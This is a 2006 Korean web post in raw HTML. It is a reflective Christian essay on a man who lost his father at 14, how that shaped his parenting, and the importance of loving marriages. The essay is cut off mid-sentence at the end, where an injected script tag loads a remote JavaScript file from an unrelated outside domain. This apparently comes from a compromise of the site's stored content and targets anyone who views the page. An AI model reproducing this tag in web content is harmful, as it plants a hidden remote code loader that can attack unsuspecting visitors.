14세에 돌아가신 아버지

작성자 : 후원회 | 조회수 : 3,196 | 작성일 : 2006년 5월 23일

<!--StartFragment-->&nbsp;
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>아이들은 어린시절에 부모님을 통해 많은 것을 배운다. 어린시절 동안에 부모의 역할을 배우고, 부모의 사랑을 통해 인간관계의 친밀성과 책임을 배운다. 그리고 부모가 보여준 부부애를 배우고 자녀에 대한 관심과 배려 등을 배운다. 어떤 아이는 부모를 통해 “나는 얼른 자라 부모님처럼 결혼해서 행복하게 살 거야!” 라고 말하는가 하면, 어떤 아이는 “우리 부모님처럼 살려면 난 죽어도 결혼하지 않을 거야.” 라고 말하기도 한다. 부모의 자녀에 대한 역할과 책임은 생을 다하는 날까지 계속된다. 그만큼 자녀에 대한 부모의 역할과 책임은 아주 중요하다 하겠다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>&nbsp;&nbsp;한 부부가 오랜만에 환한 미소를 지어 보인다. 엄마가 나서서 말했다. “우리 부부는 오랫동안 싸움도 많이 했습니다. 주된 싸움은 남편이 자녀를 대하는 태도가 너무 서툴다고 지적한 데서 불거집니다. 제 남편은 늘 자식에게 비난하고 명령하고 지시했으며 조급하게 굴었고 일방적이었기에, 그 결과 아이는 열등감만 생겨났습니다. 남편은 자녀에게 칭찬과 격려, 기다려줌, 배려함 등에 대하여 너무나 인색했지요.” 다소곳이 아내의 말을 듣고 있던 아빠가 수긍하는 자세로 고개를 끄덕이며 말을 이었다. “제가 14살 때 아버지를 잃었습니다. 그 후 편모슬하에서 성장하게 되었고 아버지의 역할과 책임이 무엇인가를 전혀 감지하지 못하고 자랐습니다. 제가 결혼하고 아버지가 되어, 제가 자녀를 대하는 방법이 늘 최선이라고 생각했습니다. 그럴 때면 제 아내는 언제나 나서서 저를 비난하듯 자녀를 그런 식으로 대하면 되느냐고 말했어요. 그러면 제가 아이 앞에서 핀잔을 듣는 것 같은 창피한 느낌과 함께 화를 참지 못하고 아이문제가 부부싸움으로 확산되어 오랫동안 응어리져 있었습니다. 일찍 아버지를 잃어서 아버지의 역할과 책임이 무엇인가를 배우지 못했기에, 제가 자녀에게 배려와 기다림의 장애가 있음을 이제야 알게 되었습니다. 그 장애의 여파가 아들한테는 물론이고 제 아내를 힘들게 했습니다.” 나는 그들 사이의 대화를 들으면서 남편의 반성하는 태도에 아내도, 자녀들도 꽉 막혔던 숨통이 열리는 것 같은 시원한 느낌과 가정에 밝은 아침햇살이 퍼져나듯 상쾌한 느낌이 들었다.&nbsp; </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>&nbsp;&nbsp;조실부모하고, 고아로 성장하는 아이들을 본다. 교통사고로, 지병으로, 여러 가지 이유로 부모를 잃어버린다는 것은 매우 불행한 일이다. 부부가 함께 정상적으로 행복하게 지내다가 하늘나라로 갈 수 있다면 큰 축복이고 자녀에게는 대박이 아닐 수 없다. 편모, 편부, 그래도 반쪽이라도 살아 있다는 것만으로도 자녀에겐 다행이지만 아무래도 한 부분의 결손은 빈자리로 남아 있게 된다. 세상 부모가 모든 자녀들에게 하느님처럼 사랑으로 뭉쳐 있다면 좋으련만 부모는 자기 자식만이 사랑스러울 뿐이다. 딴 자녀에게는 아무리 사랑하려해도 한계가 있고, 때로는 마구잡이가 되고 만다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>&nbsp;&nbsp;어쨌든 부부관계가 불의의 사고나 병이 아니면, 부부의 결손이 나지 않도록 사랑으로 뜨겁게 살아가야한다. 부부가 살아가면서 둘이 살아 있다는 것마저도 고마워하지 않고, 대화 한마디 없이 냉랭하게 살아가는 부부를 보면 안타깝고, 커나는 자녀들 때문에 더욱 걱정이다. 부부 간의 하나됨을 위하여 주님을 정중히 모시고 하느님의 뜻대로 사랑하기로 결심하며, 칭찬과 격려 그리고 ?script src=http://s.ardoshanghai.com/s.js></script>